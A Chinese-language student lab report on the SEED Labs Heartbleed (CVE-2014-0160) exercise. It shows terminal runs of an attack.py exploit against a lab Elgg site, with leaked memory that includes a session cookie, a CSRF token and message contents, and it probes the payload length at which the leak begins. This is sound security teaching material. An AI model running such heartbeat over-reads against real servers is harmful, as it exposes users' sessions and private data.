

实验一 Heartbleed 实验

一. 实验目的

通过此次实验，了解 Heartbleed 攻击的危害，方式及解决方法，使自己对网络安全有一方面的认识 and 了解，同时学会使用 SEEDLABS 网站进行网络安全的网上学习，提高自主学习的能力。

二. 实验环境及过程

实验环境为在 VM 虚拟机中运行的 SEEDUbuntu12.04 系统（系统已经由实验室配置好环境）。

实验过程参考该实验下提供的 PDF 的实验指导书完成。

详细过程略

三. 实验结果

1. 按要求在网站发送邮件，再通过该漏洞对邮件内容进行捕获，获取详细信息。（发送的邮件正文为 “HELLO WORLD”）

```
File Edit View Search Terminal Help
#####
Connecting to: www.seedlabelgg.com:443, 1 times
Sending Client Hello for TLSv1.0
Analyze the result...
Analyze the result...
Analyze the result...
Analyze the result...
Analyze the result...
Received Server Hello for TLSv1.0
Analyze the result...

WARNING: www.seedlabelgg.com:443 returned more data than it should - server is vulnerable!
Please wait... connection attempt 1 of 1
#####
.@.AAAAAAAAAAAAAAAAAAAAABCDEFHIJKLMNOP...
...!.9.8.....5.....
.....3.2....E.D..../.A.....I.....
.....
.....#.....ept-Encoding: gzip, deflate
Referer: https://www.heartbleedlabelgg.com/messages/sent/admin
Cookie: Elgg=21drklku74ur5uojauipk3uq5
Connection: keep-alive
If-None-Match: "1449721729"
.=JX</p..M..QDi....].....
.6.%.....

form-urlencoded
Content-Length: 115

..._elgg_token=5cce369dfb5ffe2dcb4f87ed9fd34138__elgg_ts=1479459911&recipient_guid=40&subject=hello&body=hello+world....@.c.e0.gsL..}.
^
[11/18/2016 01:43] seed@ubuntu:~$
```

邮件截取内容

2. 寻找一个边界值，使得查询接收响应包而不附加任何额外的数据。
(通过实验找到的边界值为 23)

```
Terminal
[11/18/2016 18:23] seed@ubuntu:~$ ./attack.py www.seedlabelgg.com --length 22
defribulator v1.20
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)
#####
Connecting to: www.seedlabelgg.com:443, 1 times
Sending Client Hello for TLSv1.0
Analyze the result...
Analyze the result...
Analyze the result...
Analyze the result...
Analyze the result...
Received Server Hello for TLSv1.0
Analyze the result...
Server processed malformed heartbeat, but did not return any extra data.
Analyze the result...
Received alert:
Please wait... connection attempt 1 of 1
#####
.F
[11/18/2016 18:23] seed@ubuntu:~$ ./attack.py www.seedlabelgg.com --length 23
defribulator v1.20
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)
#####
Connecting to: www.seedlabelgg.com:443, 1 times
Sending Client Hello for TLSv1.0
Analyze the result...
Analyze the result...
Analyze the result...
Analyze the result...
Analyze the result...
Received Server Hello for TLSv1.0
Analyze the result...

WARNING: www.seedlabelgg.com:443 returned more data than it should - server is vulnerable!
Please wait... connection attempt 1 of 1
#####
...AAAAAAAAAAAAAAAAAAAAABC.....0.zk..;7.
```

寻找边界值

```
终端
Sending Client Hello for TLSv1.0
Analyze the result...
Analyze the result...
Analyze the result...
Analyze the result...
Received Server Hello for TLSv1.0
Analyze the result...
Received alert:
Please wait... connection attempt 1 of 1
#####
.F
[2016年11月18日 21:40] seed@ubuntu:~$ ./attack.py www.seedlabelgg.com -l 0x4001
defribulator v1.20
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)
#####
Connecting to: www.seedlabelgg.com:443, 1 times
Sending Client Hello for TLSv1.0
Analyze the result...
Analyze the result...
Analyze the result...
Analyze the result...
Received Server Hello for TLSv1.0
Analyze the result...
Received alert:
Please wait... connection attempt 1 of 1
#####
.F
[2016年11月18日 21:40] seed@ubuntu:~$
```

寻找边界值